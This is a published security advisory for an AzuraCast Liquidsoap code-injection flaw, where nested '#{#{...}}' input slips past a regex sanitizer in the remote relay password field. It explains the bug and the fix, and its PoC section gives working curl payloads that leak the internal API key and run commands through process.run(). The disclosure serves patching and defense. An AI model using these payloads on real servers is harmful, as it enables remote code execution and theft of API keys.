GHSA-q4ph-8x8g-95f8
AzuraCast Vulnerable to Liquidsoap Code Injection via Incomplete cleanUpString-to-toRawString Migration in Remote Relay Password Field
Quick fix
GHSA-q4ph-8x8g-95f8 — azuracast/azuracast: upgrade to the fixed version with the command below.
composer require azuracast/azuracast:^0.23.6Details
## Summary
The `cleanUpString()` method in `ConfigWriter.php` uses an ungreedy regex to strip Liquidsoap string interpolation patterns (`#{...}`) from user input. This regex can be bypassed via nested interpolation syntax (`#{#{EXPR}}`), allowing injection of arbitrary Liquidsoap code. Commit `ff49ef4` migrated most user-controlled fields to the safe `toRawString()` method but left the remote relay password field using the vulnerable `cleanUpString()`. A user with the `RemoteRelays` station permission can achieve arbitrary code execution in the Liquidsoap process, leak internal API keys, or disrupt station operation.
## Details
### The Vulnerable Sanitizer
`cleanUpString()` at `backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php:1349-1367`:
```php public static function cleanUpString(?string $string): string { $string = str_replace(['"', "\n", "\r"], ['\'', '', ''], $string ?? '');
// Remove strings that are interpolated $string = preg_replace( '/#{(.*)}/U', // Ungreedy: matches minimum chars to first } '$1', $string );
$string = preg_replace( '/\$\((.*)\)/U', '$1', $string ?? '' );
return $string ?? ''; } ```
The `/U` (ungreedy) flag causes `.*` to match the **minimum** characters until the first `}`. With nested input `#{#{EXPR}}`:
1. Regex finds `#{` at position 0 2. Ungreedy `.*` matches `#{EXPR` (stops at the **first** `}`) 3. Full match consumed: `#{#{EXPR}` — replacement with capture group `$1` yields: `#{EXPR` 4. The trailing `}` is appended by the regex engine (it was outside the match) 5. **Final result: `#{EXPR}`** — a valid Liquidsoap string interpolation expression
### The Incomplete Patch
Commit `ff49ef4` ("Use raw strings for user-input strings to avoid interpolation", 2026-03-06) correctly migrated host, username, mount, name, description, genre, and URL fields to `toRawString()`. However, the password field was left using `cleanUpString()`:
`ConfigWriter.php:1208-1215`: ```php $password = self::cleanUpString($source->password); // Still vulnerable
$adapterType = $source->adapterType; if (FrontendAdapters::Shoutcast === $adapterType) { $password .= ':#' . $id; }
$outputParams[] = 'password = "' . $password . '"'; // Double-quoted = interpolated ```
The password is embedded in a Liquidsoap **double-quoted string**, which evaluates `#{...}` interpolation expressions.
### Why toRawString() Is Safe
`toRawString()` uses Liquidsoap raw string delimiters (`{str_xxxxx|...|str_xxxxx}`) which **do not perform interpolation**, making them immune to this attack class.
### The Input Path
1. Attacker sends `PUT /api/station/{station_id}/remote/{id}` with `source_password` containing the nested payload 2. Entity setter truncates to 100 chars via `mb_substr` (payloads fit within this limit) 3. No validation on password content 4. On station config regeneration, `ConfigWriter::getOutputString()` calls `cleanUpString()` on the password 5. Bypass produces valid interpolation, embedded in double-quoted Liquidsoap string 6. Liquidsoap evaluates the interpolation when loading the config
## PoC
### Step 1: API Key Disclosure (38 chars)
```bash # Set malicious password on an existing remote relay curl -X PUT "http://azuracast.local/api/station/1/remote/1" \ -H "X-API-Key: $API_KEY" \ -H "Content-Type: application/json" \ -d '{"source_password": "#{#{settings.azuracast.api_key()}}"}' ```
After `cleanUpString()` processing, the password becomes `#{settings.azuracast.api_key()}`.
When Liquidsoap loads the config, the generated line: ``` password = "#{settings.azuracast.api_key()}" ``` evaluates to the internal API key value, which is then sent as the password to the remote relay server — observable by the attacker if they control the relay endpoint.
### Step 2: Remote Code Execution (54 chars)
```bash # RCE payload using string.char() to bypass quote filtering curl -X PUT "http://azuracast.local/api/station/1/remote/1" \ -H "X-API-Key: $API_KEY" \ -H "Content-Type: application/json" \ -d '{"source_password": "#{#{process.run(string.char(105)^string.char(100))}}"}' ```
After processing: `#{process.run(string.char(105)^string.char(100))}` → executes `id` command.
`string.char()` and the `^` concatenation operator are used to build the command string without double quotes (which `cleanUpString` replaces with single quotes, and Liquidsoap doesn't support single-quoted strings).
### Step 3: Trigger config regeneration
Restart the station or modify any station setting to force Liquidsoap config regeneration. The payload executes when Liquidsoap loads the new config.
The same bypass works with `$($(EXPR))` via the second regex `/\$\((.*)\)/U`.
## Impact
- **Arbitrary code execution** within the Liquidsoap process container via `process.run()` - **Internal API key disclosure** via `settings.azuracast.api_key()`, granting the attacker full internal API access to the station - **File read/write** within the Liquidsoap container via Liquidsoap's file operations - **Station disruption** — malicious config can crash the Liquidsoap process - **Low privilege bar** — requires only the `RemoteRelays` station permission, not global admin
## Recommended Fix
Replace `cleanUpString()` with `toRawString()` for the password field, consistent with the fix applied to all other fields in commit `ff49ef4`. The Shoutcast suffix append needs adjustment to work with raw strings:
```php // Before (vulnerable): $password = self::cleanUpString($source->password); $adapterType = $source->adapterType; if (FrontendAdapters::Shoutcast === $adapterType) { $password .= ':#' . $id; } $outputParams[] = 'password = "' . $password . '"';
// After (safe): $password = $source->password ?? ''; $adapterType = $source->adapterType; if (FrontendAdapters::Shoutcast === $adapterType) { $password .= ':#' . $id; } $outputParams[] = 'password = ' . self::toRawString($password); ```
This uses the raw string delimiter which prevents all interpolation, matching the approach already used for host, username, mount, and all other user-controlled fields.
Additionally, consider removing `cleanUpString()` entirely or marking it as deprecated, since `toRawString()` is the correct approach for all Liquidsoap string values. Any remaining callers should be migrated.
Are you affected?
Enter the version of the package you're using.
Affected packages
0Fixed in: 0.23.6composer require azuracast/azuracast:^0.23.6